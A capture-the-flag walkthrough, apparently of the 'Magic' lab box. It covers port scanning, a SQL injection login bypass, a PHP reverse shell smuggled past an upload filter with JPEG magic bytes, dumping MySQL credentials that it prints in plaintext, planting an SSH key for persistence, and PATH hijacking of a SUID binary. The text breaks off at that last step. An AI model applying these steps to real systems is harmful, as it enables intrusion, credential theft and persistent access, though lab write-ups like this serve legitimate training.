Lets run a more in-depth scan of the targets ports
sudo nmap -sCV -p22,80 -oA tcp_ports 10.10.10.185
results
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
what can we see
SSH is open
we have a HTTP web server Apache 2.4.29
ubuntu server
Let's check out the web server
Looks like
we have the ability to login in, but cant create an account
the ability to upload images
we can see GIFS and JPEG
Given the name of the box Magic could this be a reference to magic bytes, can we upload a reversehsell and bypass any restrictions using magic bytes? maybe
for good measures Lets run feroxbuster and create and account
301 GET 9l 28w 313c http://10.10.10.185/images => http://10.10.10.185/images/
200 GET 2l 119w 12085c http://10.10.10.185/assets/js/jquery.poptrox.min.js
200 GET 2l 87w 2439c http://10.10.10.185/assets/js/breakpoints.min.js
200 GET 118l 277w 4221c http://10.10.10.185/login.php
200 GET 151l 677w 68311c http://10.10.10.185/images/uploads/magic-hat_23-2147512156.jpg
200 GET 835l 1757w 16922c http://10.10.10.185/assets/css/main.css
200 GET 88l 506w 34251c http://10.10.10.185/images/fulls/2.jpg
200 GET 209l 457w 32922c http://10.10.10.185/images/fulls/1.jpg
200 GET 2l 1276w 88145c http://10.10.10.185/assets/js/jquery.min.js
301 GET 9l 28w 313c http://10.10.10.185/assets => http://10.10.10.185/assets/
200 GET 23059l 117663w 9521972c http://10.10.10.185/images/uploads/7.jpg
200 GET 60l 207w 4051c http://10.10.10.185/
301 GET 9l 28w 317c http://10.10.10.185/assets/css => http://10.10.10.185/assets/css/
301 GET 9l 28w 316c http://10.10.10.185/assets/js => http://10.10.10.185/assets/js/
301 GET 9l 28w 321c http://10.10.10.185/images/uploads => http://10.10.10.185/images/uploads/
301 GET 9l 28w 324c http://10.10.10.185/assets/css/images => http://10.10.10.185/assets/css/images/
301 GET 9l 28w 327c http://10.10.10.185/assets/css/images/ie => http://10.10.10.185/assets/css/images/ie/
301 GET 9l 28w 313c http://10.10.10.185/images => http://10.10.10.185/images/
200 GET 587l 1232w 12433c http://10.10.10.185/assets/js/util.js
200 GET 16l 41w 280c http://10.10.10.185/assets/css/noscript.css
200 GET 390l 896w 8862c http://10.10.10.185/assets/js/main.js
200 GET 2l 87w 2439c http://10.10.10.185/assets/js/breakpoints.min.js
200 GET 2l 51w 1851c http://10.10.10.185/assets/js/browser.min.js
200 GET 2l 119w 12085c http://10.10.10.185/assets/js/jquery.poptrox.min.js
200 GET 118l 277w 4221c http://10.10.10.185/login.php
200 GET 60l 207w 4053c http://10.10.10.185/index.php
200 GET 209l 457w 32922c http://10.10.10.185/images/fulls/1.jpg
200 GET 88l 506w 34251c http://10.10.10.185/images/fulls/2.jpg
200 GET 835l 1757w 16922c http://10.10.10.185/assets/css/main.css
200 GET 151l 677w 68311c http://10.10.10.185/images/uploads/magic-hat_23-2147512156.jpg
200 GET 192l 1093w 88071c http://10.10.10.185/images/fulls/5.jpeg
200 GET 255l 1421w 121103c http://10.10.10.185/images/uploads/magic-wand.jpg
200 GET 296l 2079w 173684c http://10.10.10.185/images/uploads/magic-1424x900.jpg
200 GET 2l 1276w 88145c http://10.10.10.185/assets/js/jquery.min.js
301 GET 9l 28w 321c http://10.10.10.185/images/uploads => http://10.10.10.185/images/uploads/
200 GET 490l 2867w 223637c http://10.10.10.185/images/uploads/logo.png
301 GET 9l 28w 313c http://10.10.10.185/assets => http://10.10.10.185/assets/
200 GET 27l 59w 782c http://10.10.10.185/assets/js/upload.js
200 GET 108l 217w 2136c http://10.10.10.185/assets/css/upload.css
200 GET 3315l 6597w 390337c http://10.10.10.185/images/fulls/6.jpg
200 GET 1118l 7764w 656671c http://10.10.10.185/images/uploads/trx.jpg
200 GET 6721l 34616w 2627822c http://10.10.10.185/images/fulls/3.jpg
302 GET 0l 0w 0c http://10.10.10.185/logout.php => index.php
200 GET 8189l 47626w 2547702c http://10.10.10.185/images/uploads/giphy.gif
200 GET 23059l 117663w 9521972c http://10.10.10.185/images/uploads/7.jpg
200 GET 60l 207w 4052c http://10.10.10.185/
302 GET 84l 177w 2957c http://10.10.10.185/upload.php => login.php
301 GET 9l 28w 316c http://10.10.10.185/assets/js => http://10.10.10.185/assets/js/
301 GET 9l 28w 317c http://10.10.10.185/assets/css => http://10.10.10.185/assets/css/
301 GET 9l 28w 324c http://10.10.10.185/assets/css/images => http://10.10.10.185/assets/css/images/
301 GET 9l 28w 327c http://10.10.10.185/assets/css/images/ie => http://10.10.10.185/assets/css/images/ie/
301 GET 9l 28w 318c http://10.10.10.185/assets/sass => http://10.10.10.185/assets/sass/
301 GET 9l 28w 323c http://10.10.10.185/assets/sass/libs => http://10.10.10.185/assets/sass/libs/
/login.php
we can see the following
Let's catch the request with burp and see if we can bypass auth
we do find SQLi injection that allows us to bypass authentication
this is what our request looks like
the query would look something like
SELECT * from users where username = '' or 1=1 -- -and password = 'admin';
as you can see we 1=1 condition always evals to True by passing the need for a valid username, and the -- - indicates a comment in SQL so everything after this is ignored (the password)
/upload.php
we are bought to /upload.php where we have the ability to upload a image to the server,
Let's consider a few things
php runs on the server, so we would want to run a php reverse-shell (pentest monkeys)
name of the box being magic, good indication that we will have to add a magic byte to the file so the server things we are sending a jpeg (could do this in burp)
Lets set up our payload and shell
we will use pentest monkeys reverse-shell
p /usr/share/webshells/php/php-reverse-shell.php ./
Lets change the call back IP and port
set up our listner
rlwrap -cAr nc -lvnp 9001
we need to edit the hex value of our file, we can use a tool like hexedit , we need to edit the first 4 bytes and replace them with that of a jpeg file
Looks like we have found some MySQL tools we can utilize more notably the /usr/bin/mysqldump
Lets see if we can dump the database
mysqldump -u theseus -p --all-databases
results
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database:
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Current Database: `Magic`
--
CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `Magic`;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2024-01-09 1:36:15
Looks like we may have found some valid credentials
admin: Th3s3usW4sK1ng
since we have not found a admin user safe to say this could be user theseus password
su theseus
which it is
Lets check for sudo privileges
sudo -l
we cant run sudo on the machine
Lets get some persistence on the machine via SSH
Lets generate our ssh keys (local machine)
mkdir .ssh
ssh-keygen
lets create a authorized_keys file on the targets .ssh directory, and copy our public key over
When searching for SUID files we can see something interesting
find / -type f -perm /4000 2>/dev/null
we find an odd program
/bin/sysinfo
checking the permission shows
we can see anyone within the users group and execute this program
since we are part of the users group we can execute the command
running the command
/bin/sysinfo
it just output a bunch of system information
but its odd lets run the tool along with ltrace which prints out the calls made outside of the binary
ltrace /bin/sysinfo
looking through the output we can see something interesting
popen is another way to open a process on linux, but the interesting part is that the binary is making a call to fdisk , but its not specifying the full path, which leaves this binary possibly vulnerable to path hijacking
Lets test this theory
Let's create a reverse-shell in the /dev/shm directory and save it in an executable file fdisk